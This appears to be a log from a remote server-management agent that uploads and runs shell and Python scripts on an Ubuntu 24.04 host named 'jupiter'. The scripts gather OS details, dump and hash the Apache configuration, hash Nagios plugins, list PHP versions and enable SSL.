link(/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf)= /etc/apache2/sites-available/myapp_ma1-tylo_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf)= /etc/apache2/sites-available/myapp_ma1-pfer_care.conf
link(/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf)= /etc/apache2/sites-available/myapp_pai-acrc_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf)= /etc/apache2/sites-available/myapp_ma1-anrp_care.conf
link(/etc/apache2/sites-enabled/patientapps_www_net.conf)= /etc/apache2/sites-available/patientapps_www_net.conf
link(/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf)= /etc/apache2/sites-available/myapp_ma1-osbp_care.conf
link(/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf)= /etc/apache2/sites-available/myapp_pai-ldhr_care.conf
link(/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf)= /etc/apache2/sites-available/myapp_ma2-rcl_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-rcl.conf)= /etc/apache2/sites-available/myapp_ma1-rcl.conf
link(/etc/apache2/sites-enabled/patientapps_portal_net.conf)= /etc/apache2/sites-available/patientapps_portal_net.conf
link(/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf)= /etc/apache2/sites-available/myapp_pai-lsg-s_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf)= /etc/apache2/sites-available/myapp_ma1-octf_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf)= /etc/apache2/sites-available/myapp_ma1-epas_care.conf
link(/etc/apache2/sites-enabled/patientapps_preview_net.conf)= /etc/apache2/sites-available/patientapps_preview_net.conf
link(/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf)= /etc/apache2/sites-available/myapp_ma1-tosr_care.conf
STDERR:
/tmp/pkp651827:12: SyntaxWarning: invalid escape sequence '\s'
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
2025-12-23 16:09:43: Establishing a connection
2025-12-23 16:26:03: Establishing a connection
2025-12-23 16:26:03: Performing Server Status
2025-12-23 16:26:03:
PUT: /tmp/pkp429629
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
show_hostname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
hostname >> $temp_file
echo >> $temp_file
}
show_arc() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -m >> $temp_file
echo >> $temp_file
}
show_uname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -r -s >> $temp_file
echo >> $temp_file
}
if [ -f /etc/centos-release ]; then
show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
show_file /proc/swaps
fi
show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'
gzip -cn9 $temp_file
rm $temp_file
2025-12-23 16:26:04:
chmod 755 /tmp/pkp429629; /tmp/pkp429629; rm /tmp/pkp429629
2025-12-23 16:26:04:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.3 LTS"
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.3 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename Type Size Used Priority
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
jupiter
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-90-generic
2025-12-23 16:26:04:
PUT: /tmp/pkp295019
#!/bin/bash
# get service version
apache_output() {
sub_file=$(mktemp)
script -q -c "$1 -V" $sub_file
cat $sub_file
rm $sub_file
}
apache_output2() {
$1 -V
}
apachectl_output() {
temp_file=$(mktemp)
apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
pid=`cat $file`;
cat $temp_file
rm $temp_file
# also get user/group
echo pid: $pid
if [ -d "/etc/apache2/sites-available" ]; then
echo available=sites-available
elif [ -d "/etc/apache2/hosts.d" ]; then
echo available=hosts.d
elif [ -d "/etc/apache2/conf.d" ]; then
echo available=conf.d
fi
echo [ps]
ps up $pid
}
apachectl_enabled() {
temp_file=$(mktemp)
apachectl -t -D DUMP_MODULES > $temp_file 2>&1
echo [modules]
cat $temp_file
rm $temp_file
}
if [[ "$OSTYPE" == "darwin"* ]]; then
echo [apache2]
apache_output2 /usr/sbin/httpd
elif [ -e "/usr/sbin/httpd" ]; then
echo [httpd]
apache_output /usr/sbin/httpd
if [ -d "/etc/httpd/conf.d" ]; then
echo available=conf.d
fi
fi
if [ -e "/usr/sbin/apache2" ]; then
echo [apache2]
source /etc/apache2/envvars
apache_output2 /usr/sbin/apache2
apachectl_output
apachectl_enabled
fi
2025-12-23 16:26:04:
chmod 755 /tmp/pkp295019; /tmp/pkp295019; rm /tmp/pkp295019
2025-12-23 16:26:04:
[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built: 2025-08-11T11:10:09
Server's Module Magic Number: 20120211:129
Server loaded: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture: 64-bit
Server MPM: prefork
threaded: no
forked: yes (variable process count)
Server compiled with....
-D APR_HAS_SENDFILE
-D APR_HAS_MMAP
-D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
-D APR_USE_PROC_PTHREAD_SERIALIZE
-D APR_USE_PTHREAD_SERIALIZE
-D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
-D APR_HAS_OTHER_CHILD
-D AP_HAVE_RELIABLE_PIPED_LOGS
-D DYNAMIC_MODULE_LIMIT=256
-D HTTPD_ROOT="/etc/apache2"
-D SUEXEC_BIN="/usr/lib/apache2/suexec"
-D DEFAULT_PIDLOG="/var/run/apache2.pid"
-D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
-D DEFAULT_ERRORLOG="logs/error_log"
-D AP_TYPES_CONFIG_FILE="mime.types"
-D SERVER_CONFIG_FILE="apache2.conf"
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 1020
available=sites-available
[ps]
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1020 0.0 0.4 52872 10036 ? Ss 16:23 0:00 /usr/sbin/apache2 -k start
[modules]
Loaded Modules:
core_module (static)
so_module (static)
watchdog_module (static)
http_module (static)
log_config_module (static)
logio_module (static)
version_module (static)
unixd_module (static)
access_compat_module (shared)
alias_module (shared)
auth_basic_module (shared)
authn_core_module (shared)
authn_file_module (shared)
authz_core_module (shared)
authz_host_module (shared)
authz_user_module (shared)
autoindex_module (shared)
deflate_module (shared)
dir_module (shared)
env_module (shared)
filter_module (shared)
mime_module (shared)
mpm_prefork_module (shared)
negotiation_module (shared)
proxy_module (shared)
proxy_html_module (shared)
proxy_http_module (shared)
proxy_wstunnel_module (shared)
reqtimeout_module (shared)
rewrite_module (shared)
setenvif_module (shared)
socache_shmcb_module (shared)
ssl_module (shared)
status_module (shared)
xml2enc_module (shared)
2025-12-23 16:26:04:
SERVER INFO (php_model): array (
'debian' => 1,
'redhat' => 0,
'name' => 'jupiter',
'arch' => 'x86_64',
'raspbian' => 0,
'osdesc' => 'Ubuntu 24.04.3 LTS',
'rel' => '24.04.3',
'mac' => 0,
'distro' => 'ubuntu',
'web' =>
array (
'apache2' =>
array (
'conf' => 'apache2.conf',
'config' => '/etc/apache2',
'user' => 'www-data',
'group' => 'www-data',
'available' => 'sites-available',
'running' => 1,
),
'modules' =>
array (
0 => 'core_module',
1 => 'so_module',
2 => 'watchdog_module',
3 => 'http_module',
4 => 'log_config_module',
5 => 'logio_module',
6 => 'version_module',
7 => 'unixd_module',
8 => 'access_compat_module',
9 => 'alias_module',
10 => 'auth_basic_module',
11 => 'authn_core_module',
12 => 'authn_file_module',
13 => 'authz_core_module',
14 => 'authz_host_module',
15 => 'authz_user_module',
16 => 'autoindex_module',
17 => 'deflate_module',
18 => 'dir_module',
19 => 'env_module',
20 => 'filter_module',
21 => 'mime_module',
22 => 'mpm_prefork_module',
23 => 'negotiation_module',
24 => 'proxy_module',
25 => 'proxy_html_module',
26 => 'proxy_http_module',
27 => 'proxy_wstunnel_module',
28 => 'reqtimeout_module',
29 => 'rewrite_module',
30 => 'setenvif_module',
31 => 'socache_shmcb_module',
32 => 'ssl_module',
33 => 'status_module',
34 => 'xml2enc_module',
),
),
)
2025-12-23 16:26:04:
PUT: /tmp/pkp968813
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
if [ ! -f "/usr/bin/add-apt-repository" ]; then
apt-get -y install software-properties-common > $temp_file 2>&1
fi
apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C > $temp_file 2>&1
add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
apt-get update > $temp_file 2>&1
fi
echo $BOUNDARY >> $temp_file
echo apt-get >> $temp_file
apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
echo >> $temp_file
fi
gzip -cn9 $temp_file
rm $temp_file
2025-12-23 16:26:04:
chmod 755 /tmp/pkp968813; /tmp/pkp968813; rm /tmp/pkp968813
2025-12-23 16:26:04:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
2025-12-23 16:26:04:
PUT: /tmp/pkp785476
#!/bin/bash
dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.0]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.1]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.4]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.4]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
2025-12-23 16:26:05:
chmod 755 /tmp/pkp785476; /tmp/pkp785476; rm /tmp/pkp785476
2025-12-23 16:26:08:
[php8.2]
php=/usr/bin/php8.2
fpm=
version=8.2.28
[php8.2]
php=/usr/bin/php8.2
fpm=
version=8.2.28
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.7
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.7
2025-12-23 16:26:08:
PUT: /tmp/pkp366231
#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def collectCfgFiles(filename):
config = []
f = open(filename, 'r')
file = f.readlines()
for v in file:
v = v.rstrip()
if v != '' and v[0] != '#':
p = v.find('=')
if p > -1:
key = v[:p].strip()
value=v[p+1:].strip()
if key == 'cfg_file':
config.append(value)
f.close()
return config
def generate_hash(filename, type = 'MD5'):
digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
payload = type + '(' + filename + ')= ' + digest + "\n"
gz.write(payload.encode('cp437'))
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/check*')
for filename in filelist:
generate_hash(filename, 'bin')
return
try:
try:
filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
for file in filelist:
generate_hash(file)
except:
pass
scan_folder('/usr/local/nagios/libexec')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-23 16:26:08:
chmod 755 /tmp/pkp366231; /tmp/pkp366231; rm /tmp/pkp366231
2025-12-23 16:26:09:
(gzipped output)
bin(/usr/local/nagios/libexec/check_real)= 5e19b5c5e40d6e40d16e3505da57cb05
bin(/usr/local/nagios/libexec/check_ssh)= 7eb26e24dd1a42d22604ce66244caa14
bin(/usr/local/nagios/libexec/check_ntp_time)= ce45c72f86257b3227330cdf654bb241
bin(/usr/local/nagios/libexec/check_dummy)= 9059e3043eb48f4de81b72d7b0951b8d
bin(/usr/local/nagios/libexec/check_ssmtp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_pop)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_imap)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_wave)= 588c42d881cec26eea20887eb7623192
bin(/usr/local/nagios/libexec/check_ntp_peer)= 4e4ee59fada8b591e57cb93b33f1c085
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_ifstatus)= 56e28d6c53150a0c44f7e787d85b7214
bin(/usr/local/nagios/libexec/check_rpc)= 55ecb23b0cecfbdae0d6992bafa076e7
bin(/usr/local/nagios/libexec/check_simap)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_ide_smart)= 0cee3da97cc6ea0e77032283737a7f93
bin(/usr/local/nagios/libexec/check_breeze)= 543a2238e7ae9adcb040b2a635b6ce81
bin(/usr/local/nagios/libexec/check_dns)= e026bfbb50a3ed080497cf86304af190
bin(/usr/local/nagios/libexec/check_ntp)= ef86f455d0dd980f5bf465d501a1ee24
bin(/usr/local/nagios/libexec/check_nagios)= 16f78531ef10d8bd815637619ad8810f
bin(/usr/local/nagios/libexec/check_overcr)= 6347d00b93fd427d3aeb5bec85284eb1
bin(/usr/local/nagios/libexec/check_nntp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_spop)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_ftp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_oracle)= 9017feb302cac9c1882dd3d2a7371f68
bin(/usr/local/nagios/libexec/check_swap)= 7d1237348d1b008206ef0efcf16e0964
bin(/usr/local/nagios/libexec/check_sensors)= 4694b2d104a9c9c1d500404e08810ab2
bin(/usr/local/nagios/libexec/check_jabber)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_by_ssh)= e005655c209de4e02d7c15dee194b5ef
bin(/usr/local/nagios/libexec/check_udp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_dig)= 94fc177ae79310de86dea510479a152a
bin(/usr/local/nagios/libexec/check_http)= 6568222b2189dca9bbaf20a9975f85ca
bin(/usr/local/nagios/libexec/check_nt)= 9708478e65a9716ed2e8d1aa50b54db5
bin(/usr/local/nagios/libexec/check_disk_smb)= dd9ec10a3f651d4bb85d452e8a001408
bin(/usr/local/nagios/libexec/check_mrtg)= 37f24463db28f6a36a5768b16c1031ed
bin(/usr/local/nagios/libexec/check_clamd)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_users)= ab663ac97799aed910e34f86e5c855a4
bin(/usr/local/nagios/libexec/check_ircd)= eb49495402862ca1099bdfd818306243
bin(/usr/local/nagios/libexec/check_procs)= f29608085acf9a38f234c0633dc2dc9c
bin(/usr/local/nagios/libexec/check_log)= 74401f254cd3b3b9238b9b71d362ec50
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
bin(/usr/local/nagios/libexec/check_mailq)= b1a6343b9f983e685559dd629c5242cf
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_nwstat)= c3efb603d314713069ac36e56601783e
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 862b0b548b97639ba427d77d6cb71357
bin(/usr/local/nagios/libexec/check_tcp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_apt)= 6677ebd71abab66b6f0c50d71e35c286
bin(/usr/local/nagios/libexec/check_time)= b370fd03db2fa24b3009eefd517679ad
bin(/usr/local/nagios/libexec/check_smtp)= d3ee9c6688d0c78a4226d8c00d4e906f
bin(/usr/local/nagios/libexec/check_ping)= 58e5bf40f290b978930addeae210dad9
bin(/usr/local/nagios/libexec/check_flexlm)= 1dea6dadb259a5b53aeb31f64650ffb1
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_cluster)= b8e413a332691789bcee09b1d0f29f78
bin(/usr/local/nagios/libexec/check_disk)= b0caf9f66b7d4887f9c3919c43183426
bin(/usr/local/nagios/libexec/check_uptime)= 10f6dd18860423bd8500f4b83ea64933
bin(/usr/local/nagios/libexec/check_icmp)= c1fa73d619604ec52d01e46a576a1bd3
bin(/usr/local/nagios/libexec/check_nntps)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_load)= adaa7c893c89d114b45043d3b8ab64bf
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 3599b505059ecf7a1838782dae75d82f
bin(/usr/local/nagios/libexec/check_ups)= e60fb0dd7c6d47261deaed95074ed052
bin(/usr/local/nagios/libexec/check_file_age)= d45ede358999e4b9a7784006ca507715
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= 05ce7fcaa48ebfccf353943bad4101ca
2025-12-23 16:26:09:
PUT: /tmp/pkp687060
#!/bin/bash
install=
if [ -f "/usr/bin/yum" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
install="$install openssl"
fi
rpm -qi mod_ssl > /dev/null 2>&1
retVal=$?
if [ $retVal -ne 0 ]; then
install="$install mod_ssl"
fi
if [ ! -z $install ]; then
yum -y install $install
systemctl restart apache2
echo status=restarted
else
echo status=ok
fi
elif [ -f "/usr/bin/apt-get" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
apt-get update
apt-get -y install openssl
fi
if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
a2enmod -q ssl
systemctl restart apache2
fi
echo status=ok
fi
2025-12-23 16:26:09:
chmod 755 /tmp/pkp687060; /tmp/pkp687060; rm /tmp/pkp687060
2025-12-23 16:26:09:
status=ok
2025-12-23 16:26:09:
PUT: /tmp/pkp825233
#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def generate_hash_certificate(content, folder):
file = content.split("\n")
for v in file:
v = v.strip()
if v != '' and v[0] != '#':
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
if match is not None:
filename = match.group(1)
filename = normalize_path(folder, filename, True)
generate_hash(filename, folder)
def normalize_path(basepath, relativepath, isFile):
if relativepath[:1] == '/':
return relativepath
if isFile:
basename = os.path.basename(relativepath)
relativepath = os.path.dirname(relativepath)
else:
basename = ''
basepath = basepath.split('/')
relativepath = relativepath.split('/')
for element in relativepath:
if element == '..':
basepath.pop()
elif element != '.' and element != '':
basepath.append(element)
basepath = '/'.join(basepath)
if basename != '':
basepath += '/' + basename
return basepath
def generate_hash(filename, folder):
if os.path.islink(filename):
target = os.readlink(filename)
target = normalize_path(folder, target, True)
payload = 'link(' + filename + ')= ' + target + "\n"
gz.write(payload.encode('cp437'))
return
content = open(filename).read()
filehash = hashlib.md5()
filehash.update(content.encode('cp437'))
payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
gz.write(payload.encode('cp437'))
lower_content = content.lower()
if lower_content.find('sslcertificatefile') > -1:
generate_hash_certificate(content, folder)
return
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/*.conf')
for filename in filelist:
generate_hash(filename, folder)
return
try:
APACHE_ROOT = '/etc/apache2'
scan_folder(APACHE_ROOT)
scan_folder(APACHE_ROOT + '/conf.d')
scan_folder(APACHE_ROOT + '/conf.modules.d')
scan_folder(APACHE_ROOT + '/sites-available')
scan_folder(APACHE_ROOT + '/sites-enabled')
scan_folder(APACHE_ROOT + '/hosts.d')
finally:
gz.close()
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-23 16:26:09:
chmod 755 /tmp/pkp825233; /tmp/pkp825233; rm /tmp/pkp825233
2025-12-23 16:26:09:
2025-12-23 16:26:09:
PUT: /tmp/pkp398249
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/ports.conf')
show_file('/etc/apache2/apache2.conf')
show_file('/etc/apache2/sites-available/christadelphia_www_net.conf')
show_file('/etc/apache2/sites-available/default-ssl.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-23 16:26:09:
chmod 755 /tmp/pkp398249; /tmp/pkp398249; rm /tmp/pkp398249
2025-12-23 16:26:09:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/ports.conf 274
# If you just change the port or add more ports here, you will likely also
# have to change the VirtualHost statement in
# /etc/apache2/sites-enabled/000-default.conf
Listen 80
<IfModule ssl_module>
Listen 443
</IfModule>
<IfModule mod_gnutls.c>
Listen 443
</IfModule>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/apache2.conf 7178
# This is the main Apache server configuration file. It contains the
# configuration directives that give the server its instructions.
# See http://httpd.apache.org/docs/2.4/ for detailed information about
# the directives and /usr/share/doc/apache2/README.Debian about Debian specific
# hints.
#
#
# Summary of how the Apache 2 configuration works in Debian:
# The Apache 2 web server configuration in Debian is quite different to
# upstream's suggested way to configure the web server. This is because Debian's
# default Apache2 installation attempts to make adding and removing modules,
# virtual hosts, and extra configuration directives as flexible as possible, in
# order to make automating the changes and administering the server as easy as
# possible.
# It is split into several files forming the configuration hierarchy outlined
# below, all located in the /etc/apache2/ directory:
#
# /etc/apache2/
# |-- apache2.conf
# | `-- ports.conf
# |-- mods-enabled
# | |-- *.load
# | `-- *.conf
# |-- conf-enabled
# | `-- *.conf
# `-- sites-enabled
# `-- *.conf
#
#
# * apache2.conf is the main configuration file (this file). It puts the pieces
# together by including all remaining configuration files when starting up the
# web server.
#
# * ports.conf is always included from the main configuration file. It is
# supposed to determine listening ports for incoming connections which can be
# customized anytime.
#
# * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/
# directories contain particular configuration snippets which manage modules,
# global configuration fragments, or virtual host configurations,
# respectively.
#
# They are activated by symlinking available configuration files from their
# respective *-available/ counterparts. These should be managed by using our
# helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See
# their respective man pages for detailed information.
#
# * The binary is called apache2. Due to the use of environment variables, in
# the default configuration, apache2 needs to be started/stopped with
# /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not
# work with the default configuration.
# Global configuration
#
#
# ServerRoot: The top of the directory tree under which the server's
# configuration, error, and log files are kept.
#
# NOTE! If you intend to place this on an NFS (or otherwise network)
# mounted filesystem then please read the Mutex documentation (available
# at <URL:http://httpd.apache.org/docs/2.4/mod/core.html#mutex>);
# you will save yourself a lot of trouble.
#
# Do NOT add a slash at the end of the directory path.
#
#ServerRoot "/etc/apache2"
#
# The accept serialization lock file MUST BE STORED ON A LOCAL DISK.
#
#Mutex file:${APACHE_LOCK_DIR} default
#
# The directory where shm and other runtime files will be stored.
#
DefaultRuntimeDir ${APACHE_RUN_DIR}
#
# PidFile: The file in which the server should record its process
# identification number when it starts.
# This needs to be set in /etc/apache2/envvars
#
PidFile ${APACHE_PID_FILE}
#
# Timeout: The number of seconds before receives and sends time out.
#
Timeout 300
#
# KeepAlive: Whether or not to allow persistent connections (more than
# one request per connection). Set to "Off" to deactivate.
#
KeepAlive On
#
# MaxKeepAliveRequests: The maximum number of requests to allow
# during a persistent connection. Set to 0 to allow an unlimited amount.
# We recommend you leave this number high, for maximum performance.
#
MaxKeepAliveRequests 100
#
# KeepAliveTimeout: Number of seconds to wait for the next request from the
# same client on the same connection.
#
KeepAliveTimeout 5
# These need to be set in /etc/apache2/envvars
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}
#
# HostnameLookups: Log the names of clients or just their IP addresses
# e.g., www.apache.org (on) or 204.62.129.132 (off).
# The default is off because it'd be overall better for the net if people
# had to knowingly turn this feature on, since enabling it means that
# each client request will result in AT LEAST one lookup request to the
# nameserver.
#
HostnameLookups Off
# ErrorLog: The location of the error log file.
# If you do not specify an ErrorLog directive within a <VirtualHost>
# container, error messages relating to that virtual host will be
# logged here. If you *do* define an error logfile for a <VirtualHost>
# container, that host's errors will be logged there and not here.
#
ErrorLog ${APACHE_LOG_DIR}/error.log
#
# LogLevel: Control the severity of messages logged to the error_log.
# Available values: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the log level for particular modules, e.g.
# "LogLevel info ssl:warn"
#
LogLevel warn
# Include module configuration:
IncludeOptional mods-enabled/*.load
IncludeOptional mods-enabled/*.conf
# Include list of ports to listen on
Include ports.conf
